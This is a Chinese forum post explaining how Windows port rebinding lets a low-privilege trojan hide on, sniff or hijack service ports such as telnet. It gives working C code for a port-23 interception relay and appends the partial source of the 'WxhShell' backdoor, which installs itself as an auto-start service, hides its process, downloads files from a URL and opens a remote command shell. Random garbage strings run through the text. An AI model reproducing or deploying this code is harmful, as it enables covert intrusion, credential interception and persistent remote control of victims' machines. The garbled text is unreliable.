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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: c:-n0m'i  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z:VT%-  
I\= &v^]  
  saddr.sin_family = AF_INET; 9*(uJA  
\IOF 9) F  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); o4YF,c+>q  
]QF*\2b-I2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); V B=jK Mi  
`bNLmTS  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 'D^@e0.3  
a.XMeB  
  这意味着什么?意味着可以进行如下的攻击: jq(rnbV  
u/` t+-A  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8@KGc )k  
_$T.N  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) D\z`+TyJ  
p<Vj<6.=?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9#\oGzDN  
+ ;B K|([#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  F^cu!-L  
w#>CYP`0k6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 z[]8"C=  
J/c5)IB|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [h0)V(1KR  
n-CFB:L  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /,+&O#SX  
|bk$VT4\  
  #include =qww|B92  
  #include 9y;zk$O8  
  #include jjg[v""3|  
  #include    "X-"uIc  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2nI^fVR%\  
  int main() &C6*"JZ4  
  { S|_"~Nd=  
  WORD wVersionRequested; c,5yH  
  DWORD ret; L ?S#3@Pa  
  WSADATA wsaData; Ots]y  
  BOOL val; S\6.vw!'  
  SOCKADDR_IN saddr; 8q|T`ac+N  
  SOCKADDR_IN scaddr; )fbYP@9>a  
  int err; %}Z1KiRiX  
  SOCKET s; |N5|B Q(y$  
  SOCKET sc; g`41d  
  int caddsize; >2#F5c67  
  HANDLE mt; YvFt*t  
  DWORD tid;   28lor&Cc  
  wVersionRequested = MAKEWORD( 2, 2 ); ynZfO2kf  
  err = WSAStartup( wVersionRequested, &wsaData ); (6i. >%|_  
  if ( err != 0 ) { B\quXE)  
  printf("error!WSAStartup failed!\n"); j$r2=~1  
  return -1; 8/W2;>?wKc  
  } [f`7+RHrd  
  saddr.sin_family = AF_INET; ;_A?Zl}  
   'I@l$H  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |G P1[Q{  
xDn#=%~+x  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); LbnW(wr6:(  
  saddr.sin_port = htons(23); G g{M  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OsgjSJrf  
  { "E7YCZQR  
  printf("error!socket failed!\n"); ;Lk07+3G  
  return -1; o=C'u  
  } yzyK$WN\[3  
  val = TRUE; +?GsIp@>jh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 N"zm  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) GNoUn7Y  
  { q'`LwAU}  
  printf("error!setsockopt failed!\n"); 'E4}++\  
  return -1; mN1n/LNi  
  } dEPLkv  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; A{ . A1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `~2I  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ed$w5dv  
Ev0=m;@_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) u56WB9Z  
  { \y+@mJWa  
  ret=GetLastError(); J{PNB{v  
  printf("error!bind failed!\n"); 8]xYE19=  
  return -1; S.*LsrSV  
  } _''9-t;n,  
  listen(s,2); k6(0:/C  
  while(1) l6pvQ|  
  { |_%q@EID  
  caddsize = sizeof(scaddr); Pk&sY'  
  //接受连接请求 sQMfU{S /  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); C\}M_MD  
  if(sc!=INVALID_SOCKET) X> U _v  
  { @$5= 4HA  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); f<3lxu  
  if(mt==NULL)  OF O,5  
  { E>bpq ^;r  
  printf("Thread Creat Failed!\n"); LMI7Ih;  
  break; 4z,/0  
  } f;obK~b[  
  } $dF$-y<[0  
  CloseHandle(mt); 3shd0q<  
  } PyM59v  
  closesocket(s); il$eO 7  
  WSACleanup(); u4DrZ-v  
  return 0; lec3rv0)  
  }   ln_[@K[oX  
  DWORD WINAPI ClientThread(LPVOID lpParam) =!IoL7x  
  { _a  zJ>  
  SOCKET ss = (SOCKET)lpParam; }N"YlGY\Yn  
  SOCKET sc; L`"V_ "Q#0  
  unsigned char buf[4096]; T%SK";PAU$  
  SOCKADDR_IN saddr; }gKJ~9Jg  
  long num; $ U-#woXa  
  DWORD val; 5'n$aFqI  
  DWORD ret; VI?kbq jo  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "&@{f:+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   K<M WiB&  
  saddr.sin_family = AF_INET; =LKf.@]#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Hh* KcIRX  
  saddr.sin_port = htons(23); UHBMl>~z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #q6#nfi"  
  { > O~   
  printf("error!socket failed!\n"); lg*?w/JX+  
  return -1; S%jFH4#  
  } c"/Hv  
  val = 100; "b\@.7".  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u4ZOHy_O^  
  { 2W }j bOy  
  ret = GetLastError(); u=7 #_ZC9L  
  return -1; piXL6V@c  
  } D+{& zo  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %<<JWoB  
  { 2Mj_wc   
  ret = GetLastError(); x;A.Ll  
  return -1; -@.FnFa  
  } d2Ta&Md  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) n _kE  
  { XHh*6Yt_ (  
  printf("error!socket connect failed!\n"); f9vitFkb+  
  closesocket(sc); |qpFR)l  
  closesocket(ss); 12tk$FcY8*  
  return -1; t#w,G  
  } )TEod!]  
  while(1) }KT$J G?  
  { ).-#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1 hD(l6tG@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <'\!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9FPqd8(]*V  
  num = recv(ss,buf,4096,0); ]dgi]R|`  
  if(num>0) [z!pm-Ir  
  send(sc,buf,num,0); =Aw`0  
  else if(num==0) 1DGl[k/zv  
  break; _&S;*?K.  
  num = recv(sc,buf,4096,0); i)$ySlEh  
  if(num>0) aU_l"+5>vq  
  send(ss,buf,num,0); /:"^,i\t  
  else if(num==0) |~&cTDd  
  break; *Uy;P>8  
  } Pq@ -`sw  
  closesocket(ss); e wWw  
  closesocket(sc); gtT&97tT<  
  return 0 ; `g4N]<@z  
  } W|"bV 6d3  
uGHM ]"!)  
vU(fd!V ?  
========================================================== 8kvA^r`  
HLQ> |,9  
下边附上一个代码,,WXhSHELL :))&"GY  
B I=57  
========================================================== !;P[Y"h@r  
0d1!Q!PH3  
#include "stdafx.h" pF9WKpzE  
fjY:u,5V_  
#include <stdio.h> oOaLD{g>  
#include <string.h> %oWG"u  
#include <windows.h> v#`>  
#include <winsock2.h> b80&${v  
#include <winsvc.h> ]&9=f#k%  
#include <urlmon.h> s,AJR [  
2.]d~\  
#pragma comment (lib, "Ws2_32.lib") 06Q9X!xD  
#pragma comment (lib, "urlmon.lib") hpYv*WH:  
\(;u[  
#define MAX_USER   100 // 最大客户端连接数 3Bvz& `\  
#define BUF_SOCK   200 // sock buffer +$#XV@@~  
#define KEY_BUFF   255 // 输入 buffer aof'shS8  
E9Dy)f]#W  
#define REBOOT     0   // 重启 E1dhj3+3  
#define SHUTDOWN   1   // 关机 >AY9 F|:  
+U%epq  
#define DEF_PORT   5000 // 监听端口 =sefT@<  
:UAcS^n7h"  
#define REG_LEN     16   // 注册表键长度 7I@df.rf6J  
#define SVC_LEN     80   // NT服务名长度 2J%L%6z8~  
IXlk1tHN4I  
// 从dll定义API BE],PCpPr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0c1=M|2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8~~ k?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Sw$/Z)1K&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fY?:SPR+  
`T{CB) ?9  
// wxhshell配置信息 +nim47  
struct WSCFG { 3orL;(.G  
  int ws_port;         // 监听端口 p$= 3$I  
  char ws_passstr[REG_LEN]; // 口令 >j*0fb!:]  
  int ws_autoins;       // 安装标记, 1=yes 0=no dmcY]m  
  char ws_regname[REG_LEN]; // 注册表键名 9j5|o([J  
  char ws_svcname[REG_LEN]; // 服务名 dm40qj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b$_qG6)IJO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O1\25D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !0UfX{.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gg8)oc+w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {7MY*&P$,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Pn4jI(  
"Mv^S'?>  
}; L; A#N9  
\ bWy5/+  
// default Wxhshell configuration -nX{&Z3-s  
struct WSCFG wscfg={DEF_PORT, 4:733Q3oK  
    "xuhuanlingzhe", k6GQH@y!  
    1, /v| b]Ji  
    "Wxhshell", 4>fj @X(3  
    "Wxhshell", ~m0=YAlk?  
            "WxhShell Service", "LW\osjen  
    "Wrsky Windows CmdShell Service", |u$*'EsP  
    "Please Input Your Password: ", Y5B! *+h  
  1, N~or.i&a  
  "http://www.wrsky.com/wxhshell.exe", B# .xs>{N  
  "Wxhshell.exe" 1=E}X5  
    }; ~k?t  
;05lwP* r]  
// 消息定义模块 ,I+O;B:0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )te_ <W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0}'/pN>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !U(KQ:j  
char *msg_ws_ext="\n\rExit."; D+oV( Pw,  
char *msg_ws_end="\n\rQuit."; e8egxm  
char *msg_ws_boot="\n\rReboot..."; bNtOqhi  
char *msg_ws_poff="\n\rShutdown..."; PJe \PGh  
char *msg_ws_down="\n\rSave to "; m7XN6zX  
%u<r_^w5  
char *msg_ws_err="\n\rErr!"; &hi][Pt  
char *msg_ws_ok="\n\rOK!"; /X#OX 8gb]  
R`@7f$;wG  
char ExeFile[MAX_PATH]; f(K1 ,L:&7  
int nUser = 0; aO9\8\^  
HANDLE handles[MAX_USER]; @y0kX<M  
int OsIsNt; h"}F3E  
RC8-6s& ln  
SERVICE_STATUS       serviceStatus; sk~7"v{Y.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -XkjO$=!=  
= 1d$x:  
// 函数声明 T2mZkK?rA  
int Install(void); Pl#u ,Y  
int Uninstall(void); L=s8em]7l  
int DownloadFile(char *sURL, SOCKET wsh); Bxj4rC[  
int Boot(int flag); ?V_v=X%w  
void HideProc(void); F^TOLwix  
int GetOsVer(void); G4#Yz6O  
int Wxhshell(SOCKET wsl); r8FAV9A  
void TalkWithClient(void *cs); 6Q+VW_~  
int CmdShell(SOCKET sock); !ueh%V Ky  
int StartFromService(void); ?6I`$ &OA  
int StartWxhshell(LPSTR lpCmdLine); A^0-%Ygl  
gB,Q4acjj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a<+Rw{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q?L*Luu+  
 wJvk  
// 数据结构和表定义 G`;mSq6i  
SERVICE_TABLE_ENTRY DispatchTable[] = ~Sd,Tu%:  
{ _nw\ac#*  
{wscfg.ws_svcname, NTServiceMain}, (.{."  
{NULL, NULL} HDu|KW$o1  
}; o+R(ux"  
(m.jC}J  
// 自我安装 3z8zZ1uzU  
int Install(void) Xa&:Hg<  
{ PM {L}tEQ  
  char svExeFile[MAX_PATH]; do%.KIk  
  HKEY key; xelh!AtE  
  strcpy(svExeFile,ExeFile); 15DlD`QV  
(hv}K*c{  
// 如果是win9x系统,修改注册表设为自启动 x}reeqn  
if(!OsIsNt) { W}wd?WIps  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 91#n Aj%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2"Y=*s  
  RegCloseKey(key); lw4#C`bx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lPlJL`e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Yt4v}{+  
  RegCloseKey(key); *I9G"R8  
  return 0; z]O>`50Q  
    } D[Ld=e8t  
  } hrOp9|!m  
} O}7aX '  
else { ACgWT  
"M]`>eixL  
// 如果是NT以上系统,安装为系统服务 qv/chD`C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x/92],.Mz  
if (schSCManager!=0) 9AQ2FD  
{ Aq/wa6^%  
  SC_HANDLE schService = CreateService A?c?(~9O  
  ( H329P*P  
  schSCManager, .:, 9Tf  
  wscfg.ws_svcname, Gv\fF;,R  
  wscfg.ws_svcdisp, 7|?Ht]  
  SERVICE_ALL_ACCESS, 89A04HX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , An !i  
  SERVICE_AUTO_START, Lismo#  
  SERVICE_ERROR_NORMAL, *P[N.5{  
  svExeFile, F=kiYa}  
  NULL, /p@0Q [E  
  NULL, #kQLHi3##  
  NULL, f<3r;F7  
  NULL, vYG$>*  
  NULL /s`xPxvt  
  ); DRi/<  
  if (schService!=0) fP1fm  
  { N;e*eMFE  
  CloseServiceHandle(schService); s-xby~  
  CloseServiceHandle(schSCManager); lnntb3q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %] 7.E  
  strcat(svExeFile,wscfg.ws_svcname); <4Cy U j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z?'){\$*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CB?H`R pC.  
  RegCloseKey(key); = G3A}  
  return 0; ZbcpE~<a  
    } cY*lsBo  
  } J7rfHhz  
  CloseServiceHandle(schSCManager); cV)~%e/  
} GD .>u  
} 93#wU})  
&Lgi  
return 1; %|3UWN  
} Eh f{Kl  
V?cUQghHg  
// 自我卸载 =p';y&   
int Uninstall(void) rhvsd2 zi  
{ 6T~xjAuJ3T  
  HKEY key; SYTzJK@vZJ  
rW3fd.;kss  
if(!OsIsNt) { P(Hh%9'(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZCVN+::Y  
  RegDeleteValue(key,wscfg.ws_regname); :YZMR JL  
  RegCloseKey(key); 1YMu\(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x; *KRO  
  RegDeleteValue(key,wscfg.ws_regname); Ss7XjWP.}  
  RegCloseKey(key); *,DBRJ_*7  
  return 0; !b+Kasss9  
  } D<cHa |  
} V]9 ?9-r  
} b}r3x&)  
else { ~UJ_Rr54  
KcjP39@I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I*K~GXWs#  
if (schSCManager!=0) DavG=kvd  
{ NASRr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x_5H_! \#  
  if (schService!=0) 89)rss  
  { ,*Yu~4  
  if(DeleteService(schService)!=0) { C,D~2G  
  CloseServiceHandle(schService); P1ab2D  
  CloseServiceHandle(schSCManager); KmkPq]  
  return 0; @YTZnGG*  
  } up7]Yy;o=  
  CloseServiceHandle(schService); ~(`iRxK  
  } ,9p 4(jjX  
  CloseServiceHandle(schSCManager); aNCIh@m~  
} ,#r>#fi0  
} [?hc.COE  
dLm~]V3  
return 1; =6TD3k6(2  
} L%JmdY;  
Ui 7S8c#tH  
// 从指定url下载文件 u1&pJLK0[  
int DownloadFile(char *sURL, SOCKET wsh) Ij}RlYQz  
{ ~$i36"  
  HRESULT hr; 7 0:a2m  
char seps[]= "/"; BUcze\+  
char *token; e;<=aa)}?  
char *file; Bn/ {J  
char myURL[MAX_PATH]; GV([gs  
char myFILE[MAX_PATH]; igsJa1F  
X &6p_Lo  
strcpy(myURL,sURL); i1 ?H*:]  
  token=strtok(myURL,seps); iVt6rX  
  while(token!=NULL) x,z+l-y  
  { NQ!jkojD  
    file=token; q8.K-"f(Q  
  token=strtok(NULL,seps); MD S;qZx=  
  } 0> m-J  
,r{\aW@  
GetCurrentDirectory(MAX_PATH,myFILE); /AP@Bhm  
strcat(myFILE, "\\"); F"3PP ~  
strcat(myFILE, file); ,xrXby|R"  
  send(wsh,myFILE,strlen(myFILE),0); -lm\~VZT3  
send(wsh,"...",3,0); 0p_/eWww-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kQ~*iY  
  if(hr==S_OK) |[?"$g9v  
return 0; )sVz;rF<  
else CC>]Gc7  
return 1; 5TVDt  
C-$S]6  
} 1 {dhGX  
w Maib3Q  
// 系统电源模块 fNc3&=]]  
int Boot(int flag) Lz S@@']  
{ RUmJ=i'4/  
  HANDLE hToken; ZUb6d*B  
  TOKEN_PRIVILEGES tkp; \&J7>vu^y  
-1~bWRYq  
  if(OsIsNt) { C9U~lcIS  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *S_eYKSl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E3y"  
    tkp.PrivilegeCount = 1; Zycu3%JI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HP2]b?C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DQd~!21\|  
if(flag==REBOOT) { _YY:}'+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }\B`tAN  
  return 0; XS]=sfN  
} ]n0kO&  
else { =m=`|Bn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;Id%{1  
  return 0; cejSGsW6q  
} Ft>Abj,6  
  } JGp~A#H&  
  else { Jeyy Z=  
if(flag==REBOOT) { vDz)q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Hm4:m$=p4  
  return 0;  ;OQ{  
} q-3%.<LL  
else { ,L^eD>|j5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b;O]@kBB  
  return 0; |r!G(an1x4  
} *?7Ie;)  
} DF/p{s1Y3  
l. ?R7f  
return 1; Q i#%&Jz>f  
} Z16G  
WaQCq0Enj  
// win9x进程隐藏模块 /NaI Mo 5  
void HideProc(void) c$Js<[1  
{ jm'(t=Ze  
cOth q87:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6$w)"Rq  
  if ( hKernel != NULL ) y iE[^2Pv  
  { FJgr=9>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &Jv j@,>$d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @kn0f`  
    FreeLibrary(hKernel); ^)conSm  
  } 5V4Ze;K  
z,[4 BM  
return; 900#K   
} 0~Ot  
[s"3g\L';  
// 获取操作系统版本 Zh]d&Xeq  
int GetOsVer(void) z@^[.  
{ 0: R}  
  OSVERSIONINFO winfo; {BKu'A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {3]g3mj  
  GetVersionEx(&winfo); Ey=(B'A~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aR ao\Wp|  
  return 1; Z!60n{T79c  
  else Tk9u+;=6$  
  return 0; >nkd U  
} MQY^#N  
L"A,7@:Vd  
// 客户端句柄模块 g8 ,V( ^  
int Wxhshell(SOCKET wsl) RyKsM.   
{ V03U"eI="  
  SOCKET wsh; LX'.up11X5  
  struct sockaddr_in client; \B8tGog  
  DWORD myID; nV ko]y  
KlDW'R $  
  while(nUser<MAX_USER) T>e!DOW;  
{ =0TnH<`  
  int nSize=sizeof(client); mS5'q q;t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '+N!3r{G  
  if(wsh==INVALID_SOCKET) return 1; kG/:fP  
ifl`QZp_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t6BggO"_u  
if(handles[nUser]==0) @*e|{;X]hy  
  closesocket(wsh); S)of.Nq.;  
else *P_(hG&c  
  nUser++; }20 Q`?  
  } Uc%(#I]Mi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b26#0;i  
fi^ I1*S  
  return 0; $As;Tvw.  
} @ |v4B[/  
<61T)7  
// 关闭 socket 4eK!1|1  
void CloseIt(SOCKET wsh) trcG^uV  
{ h`X)sC+  
closesocket(wsh); 9{@[ l!]W  
nUser--; m.e+S,i  
ExitThread(0); ]l7) F-v  
} Fxdu)F,~u  
|9T3" _MmJ  
// 客户端请求句柄 A!\ouKyayS  
void TalkWithClient(void *cs) rXc-V},az8  
{ >=BH$4Ce  
h3D~?Iom  
  SOCKET wsh=(SOCKET)cs; 9J h"1i>x2  
  char pwd[SVC_LEN]; ~=91Kxf  
  char cmd[KEY_BUFF]; m/RX~,T*v&  
char chr[1]; :so2 {.t-  
int i,j; H6%QM}t  
1$T;u~vg  
  while (nUser < MAX_USER) { ' RK .w^  
Uyf<:8U\  
if(wscfg.ws_passstr) { P,U$ X+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?3 {&"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DKw%z8ft|  
  //ZeroMemory(pwd,KEY_BUFF); 2(M^8Bl  
      i=0; Tlc3l}B*Z  
  while(i<SVC_LEN) { BK`NPC$a  
@v{lH&K:;  
  // 设置超时 TP7'tb  
  fd_set FdRead; VWDXEa9  
  struct timeval TimeOut; ^Z1t'-xZ  
  FD_ZERO(&FdRead); j06?Mm_c2  
  FD_SET(wsh,&FdRead); e59P6/z  
  TimeOut.tv_sec=8; 7R9.g6j  
  TimeOut.tv_usec=0; qNb|6/DG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f d~a\5%e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +@*}_%^l"  
P7ktr?V0a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9D@ $Y54  
  pwd=chr[0]; \1|]?ZQ\K  
  if(chr[0]==0xd || chr[0]==0xa) { aK>5r^7S  
  pwd=0; !kCMw%[  
  break; b-4g HW  
  } 7OuzQzhcK  
  i++; n[DQ5l  
    } J |4q9$  
xS.Rpx/8  
  // 如果是非法用户,关闭 socket '](4g/%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T,N"8N{K"  
} rHe*/nN%*  
[MLJs-*   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >d#oJ?goX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b^ wWg  
R-odc,P=  
while(1) { 4HX qRFUD  
hLF+_{\C|  
  ZeroMemory(cmd,KEY_BUFF); T.ZPpxY  
1$S;#9PQ  
      // 自动支持客户端 telnet标准   w1Ar[ P  
  j=0; HqM>K*XKU  
  while(j<KEY_BUFF) { <3?T^/8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C-25\  
  cmd[j]=chr[0]; )gM3,gSS  
  if(chr[0]==0xa || chr[0]==0xd) { X( Q*(_  
  cmd[j]=0; % 1f, 8BM  
  break; Ve/"9 ?Y_  
  } w\(LG_n|  
  j++; V[E7 mhqy  
    } 6 0C;J!D  
:CH*~o  
  // 下载文件 YA(_*h  
  if(strstr(cmd,"http://")) { <(|No3jx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }m '= _u  
  if(DownloadFile(cmd,wsh)) oh%kuO T[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9iMQq40  
  else ?Q$LIoR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /48W]a}JS  
  } %cIF()  
  else { z^(6>U ?  
[h"#Gwb=;  
    switch(cmd[0]) { "= H.$ +  
  >&uG1q0p.  
  // 帮助 [y^)&L$=  
  case '?': { Zmx[u_NG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !: e0cV  
    break; dU!`aPL?  
  } 3,`.$   
  // 安装 ,.# SEv5  
  case 'i': { G'|Emu=4  
    if(Install()) &5 *)r@+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T9 @^@l$  
    else ]>utLi5dX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W@S'mxk#*  
    break; ,H{ /@|RW  
    } 7e,<$PH  
  // 卸载 9&'I?D&8  
  case 'r': { 6~g:"}  
    if(Uninstall()) ` eB-C//  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ETu7G5?  
    else x,9fOA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uj.~/W1,!  
    break; IB wqu w+  
    } Q37VhScs  
  // 显示 wxhshell 所在路径 ;O YwZ  
  case 'p': { V/5hEoDt  
    char svExeFile[MAX_PATH]; Y^dVNC3vd  
    strcpy(svExeFile,"\n\r"); (xU+Y1*g"%  
      strcat(svExeFile,ExeFile); y$)gj4k/D  
        send(wsh,svExeFile,strlen(svExeFile),0); Q9K+k*?{N  
    break; ?Y"bt^4j  
    } d}f| HOFq  
  // 重启 ~A8%[.({5  
  case 'b': { ?KxI|os  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rl4r 9  
    if(Boot(REBOOT)) "X']_:F1a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .?SClTqg  
    else { }?P~qJ|1  
    closesocket(wsh); t\2myR3  
    ExitThread(0); }@'xEx  
    } $ Z;HE/ 3  
    break; <$liWAGX\  
    } hp(n;(OR  
  // 关机 <!,q:[ee5  
  case 'd': { wAHb 5>!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Fqzk/m  
